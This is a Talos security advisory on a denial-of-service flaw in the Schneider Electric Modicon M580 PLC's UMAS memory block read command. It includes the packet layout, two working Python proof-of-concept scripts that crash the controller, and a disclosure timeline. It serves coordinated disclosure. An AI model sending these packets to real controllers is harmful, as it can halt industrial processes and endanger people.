Lucene search

K
talosTalos IntelligenceTALOS-2018-0738
HistoryJun 10, 2019 - 12:00 a.m.

Schneider Electric Modicon M580 UMAS memory block read denial-of-service vulnerability

2019-06-1000:00:00
Talos Intelligence
www.talosintelligence.com
185

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

0.001 Low

EPSS

Percentile

48.8%

Summary

An exploitable denial-of-service vulnerability exists in the UMAS memory block read function of the Schneider Electric Modicon M580 programmable automation controller, firmware version SV2.70. A specially crafted UMAS command can cause the device to enter a non-recoverable fault state, resulting in a complete stoppage of remote communications with the device. An attacker can send unauthenticated commands to trigger this vulnerability.

Tested Versions

Schneider Electric Modicon M580 BMEP582040 SV2.70

Product URLs

<https://www.schneider-electric.com/en/work/campaign/m580-epac/&gt;

CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-248: Uncaught Exception

Details

The Modicon M580 is the latest in Schneider Electric’s Modicon line of programmable automation controllers. The device contains a Wurldtech Achilles Level 2 certification and global policy controls to quickly enforce various security configurations. Communication with the device is possible over FTP, TFTP, HTTP, SNMP, EtherNet/IP, Modbus and a management protocol referred to as β€œUMAS.”

When attempting to read arbitrary memory from a block on the Modicon M580, the command MEMORY_BLOCK_READ can be used. This command accepts a few parameters, including the block ID, data size and offset fields. The block ID field defines a block to be read. The data size field defines how much data should be requested. The offset field defines how far to seek into the file before extracting the data.

Through manipulation of the size and offset fields, it is possible to read beyond the end of a block, causing a non-recoverable fault in some cases. Two scenarios have been included as proof of concepts, however, the technique applies to almost every block ID.

Case 1 - Reading more data from a block than exists:

When either block 0x8032 or block 0x8033 are requested via a MEMORY_BLOCK_READ command with a data size of at least 0x01 bytes, the device enters a non-recoverable fault state.

Case 2 - Using the Offset field to read past the end of a block:

When block 0x00 is requested via a MEMORY_BLOCK_READ command with an offset value of at least 0x2fff, the device enters a non-recoverable fault state.

The structure of a MEMORY_BLOCK_READ command takes a form similar to this:

    0   1   2   3   4   5   6   7   8   9   a   b   c   d   e   f
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C | D |   E   |   F   |   G   |   H   |
  +---+---+---+---+---+---+---+---+---+---+---+---+

A --&gt; Modbus Function Code (0x5A)
B --&gt; Session
C --&gt; UMAS Function Code   (0x20)
D --&gt; Unknown              (0x00)
E --&gt; Block Number
F --&gt; Offset
G --&gt; Unknown              (0x0000)
H --&gt; Size                 (0x0001)

In the non-recoverable fault state, the CPU has entered an error mode where all remote communications have been stopped, process logic stops execution, and the device requires a physical power cycle to regain functionality.

Exploit Proof of Concept

Offset Fault PoC import struct import socket from scapy.all import Raw from scapy.contrib.modbus import ModbusADURequest from scapy.contrib.modbus import ModbusADUResponse

def send_message(sock, umas, data=None, wait_for_response=True):
	if data == None:
		packet = ModbusADURequest(transId=1)/umas
	else:
		packet = ModbusADURequest(transId=1)/umas/data
	msg = "%s" % Raw(packet)
	resp = ""
	sock.send(msg)
	if wait_for_response:
		resp = sock.recv(2048)
	return resp

def main():
	rhost = "192.168.10.1"
	rport = 502

	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((rhost, rport))

	# send MEMORY_BLOCK_READ request
	mbtcpFnc = "\x5a"
	session  = "\x00"
	umasFnc  = "\x20"
	unknown1 = "\x00"
	blockNum = "\x00\x00"
	offset   = "\xff\x2f"  # value must be at least 0x2fff
	unknown2 = "\x00\x00"
	size     = "\x00\x01"

	umas = "%s%s%s%s%s%s%s%s" % (mbtcpFnc, session, umasFnc, unknown1, blockNum, offset, unknown2, size)
	send_message(sock=s, umas=umas, wait_for_response=False)

if __name__ == '__main__':
	main()

Block 0x8033 Fault PoC import struct import socket from scapy.all import Raw from scapy.contrib.modbus import ModbusADURequest from scapy.contrib.modbus import ModbusADUResponse

def send_message(sock, umas, data=None, wait_for_response=True):
	if data == None:
		packet = ModbusADURequest(transId=1)/umas
	else:
		packet = ModbusADURequest(transId=1)/umas/data
	msg = "%s" % Raw(packet)
	resp = ""
	sock.send(msg)
	if wait_for_response:
		resp = sock.recv(2048)
	return resp

def main():
	rhost = "192.168.10.1"
	rport = 502

	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((rhost, rport))

	# send MEMORY_BLOCK_READ request
	mbtcpFnc = "\x5a"
	session  = "\x00"
	umasFnc  = "\x20"
	unknown1 = "\x00"
	blockNum = "\x33\x80"   # block 0x8033
	offset   = "\x00\x00"
	unknown2 = "\x00\x00"
	size     = "\x01\x00"

	umas = "%s%s%s%s%s%s%s%s" % (mbtcpFnc, session, umasFnc, unknown1, blockNum, offset, unknown2, size)
	send_message(sock=s, umas=umas, wait_for_response=False)

if __name__ == '__main__':
	main()

Timeline

2018-12-10 - Initial contact
2018-12-17 - Vendor acknowledged
2019-01-01 - 30 day follow up
2019-05-14 - Vendor Patched
2019-06-10 - Public Release

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

0.001 Low

EPSS

Percentile

48.8%